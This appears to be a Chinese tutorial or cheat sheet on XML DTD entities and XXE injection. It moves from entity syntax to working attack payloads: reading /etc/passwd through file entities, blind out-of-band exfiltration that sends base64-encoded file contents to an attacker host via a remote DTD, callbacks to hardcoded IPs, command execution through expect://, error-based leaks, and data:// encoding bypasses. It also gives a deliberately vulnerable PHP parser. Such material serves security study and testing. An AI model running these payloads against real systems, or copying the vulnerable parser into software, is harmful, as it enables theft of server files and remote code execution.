XML语法规则
实体分类 内部实体和外部实体 内部实体
如果DTD是在xml中直接嵌入的为内部实体,其格式为
1 <!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>
例如
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?xml version="1.0"?> <!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]> <note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note>
外部实体
DTD如果是外部
1 <!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>
例如
1 2 <!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"> <!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
1 <author>&writer;©right;</author>
通用实体和参数实体 通用实体
利用& 实体名
来引用的实体,他将在dtd中被定义,在xml文档中被引用
1 2 3 4 5 6 7 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> <updateProfile> <firstname>Joe</firstname> <lastname>&file;</lastname> ... </updateProfile>
参数实体
% xxx
是定义DTD变量,这种变量只能在dtd
中使用,无法引用到xml
使用% 实体名
在dtd中定义,并且只可以在dtd中使用% 实体名
只有在 dtd 文件中,参数实体的声明才能引用其他实体
1 2 <!DOCTYPE foo [ <!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> %an-element; %remote-dtd; ]>
参数实体在我们 blind xxe
中起到了至关重要的作用
文本数据类型 PCDATA
被解析的字符数据,里面不能包含有特殊的字符比如<,>,只能存在其实体编码字符
CDATA
可以用来包裹存在特殊字符的文件
CDATA 的意思是字符数据,其内容不会被解析器解析,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开,常用于外带特殊字符
1 2 3 4 5 < < > > & & " " '
XXE
xml 外部实体注入
可以注入外部实体以扩大攻击面
主要攻击手段就是引入外部实体加载过程中造成命令执行
PHP中的simplexml_load
默认情况下会解析外部实体,有XXE漏洞的标志性函数为simplexml_load_string
1 2 <!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI"> <!DOCTYPE person SYSTEM "person.dtd">
或者
1 <!DOCTYPE updateProfile [<!ENTITY % remote PUBLIC "dtd" "http://127.0.0.1/evil.dtd"> ]>
利用 任意文件读取 1 2 <!DOCTYPE creds [<!ENTITY goodies SYSTEM "file:///etc/passwd"> ]> <user><username>&goodies;</username><password>12</password></user>
当外部实体不能使用时可以使用参数实体
1 2 3 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]> <stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
将元素类别声明为ANY
1 2 3 4 5 6 7 8 9 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data [ <!ELEMENT stockCheck ANY> <!ENTITY file SYSTEM "file:///etc/passwd"> ]> <stockCheck> <productId>&file;</productId> <storeId>1</storeId> </stockCheck3>
如果目标网页使用的是 PHP,可以使用php包装器 php://filter/convert.base64-encode/resource=
来访问内部文件而不需要再使用 file:/ 协议
如果是 Java 的网页,可以使用 jar:protocol
回显有特殊字符 可以直接用无回显的方式外带base编码数据
或者利用<![CDATA[...]]
包裹
eval.dtd
1 2 <?xml version="1.0" encoding="UTF-8"?> //可以省略的 <!ENTITY all "%start;%goodies;%end;">
payload:
1 2 3 4 5 6 7 8 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE roottag [ <!ENTITY % start "<![CDATA["> <!ENTITY % goodies SYSTEM "file:///etc/passwd"> <!ENTITY % end "]]>"> <!ENTITY % dtd SYSTEM "http://192.168.5.149/eval.dtd"> %dtd; ]> <roottag>&all;</roottag>
无回显 xml.php
1 2 3 4 5 6 <?php libxml_disable_entity_loader (false );$xmlfile = file_get_contents ('php://input' );$dom = new DOMDocument ();$dom ->loadXML ($xmlfile , LIBXML_NOENT | LIBXML_DTDLOAD); ?>
test.dtd
1 2 <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;'>">
%remote
先调用,调用后请求远程服务器上的test.dtd
,有点类似于将test.dtd
包含进来,然后 %int
调用 test.dtd
中的 %file, %file
就会去获取服务器上面的敏感文件,然后将%file
的结果填入到 %send
以后(因为实体的值中不能有 %
, 所以将其转成html实体编码 %
),我们再调用%send;
把我们的读取到的数据发送到我们的远程 vps
上
payload:
1 2 3 4 <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://ip/test.dtd"> %remote;%int;%send; ]>
RCE 主要是由于配置不当或开发内部应用导致的,如果PHP expect
模块被加载到了易受攻击的系统或处理XML的内部应用程序上,那么我们就可以执行如下的命令
1 2 3 4 5 6 7 8 <?xml version="1.0"?> <!DOCTYPE GVI [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "expect://id" >]> <catalog> <core id="test101"> <author>John, Doe</author> </core> </catalog>
报错外带 如果无法外连可以使用本地的外部dtd文件,通过重新定义已包含的实体报错带出敏感数据
假设服务器文件系统上的位置/usr/local/app/schema处有一个DTD文件,该dtd文件定义了一个名为custom_entity的实体,攻击者可以通过提交如下混合DTD来触发包含/etc/passwd文件内容的XML解析错误消息
1 2 3 4 5 6 7 8 9 10 11 <!DOCTYPE foo [ <!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd"> <!ENTITY % custom_entity ' <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; '> %local_dtd; ]> <stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
编码绕过 双重实体编码
1 2 3 4 5 6 7 8 9 10 11 <?xml version="1.0"?> <!DOCTYPE GVI [ <!ENTITY % xml "<!ENTITY xxe SYSTEM "file:///flag.txt" >]> <core>       <message>&xxe;</message> </core>"> %xml; ]> <!--编码内容--> <!ENTITY xxe SYSTEM "file:///flag.txt" >]> <core> <message>&xxe;</message> </core>
data协议编码
1 2 3 4 5 6 7 8 9 10 <?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % a SYSTEM "data://text/plain;base64,PCFFTlRJVFkgJSAgYiBTWVNURU0gJ2h0dHA6Ly8xMTguMjUuMTQuNDA6ODIwMC9oYWNrLmR0ZCc+"> %a; %b; ]> <test>&hhh;</test> <!--编码内容--> <!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'>
1 <!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
SSRF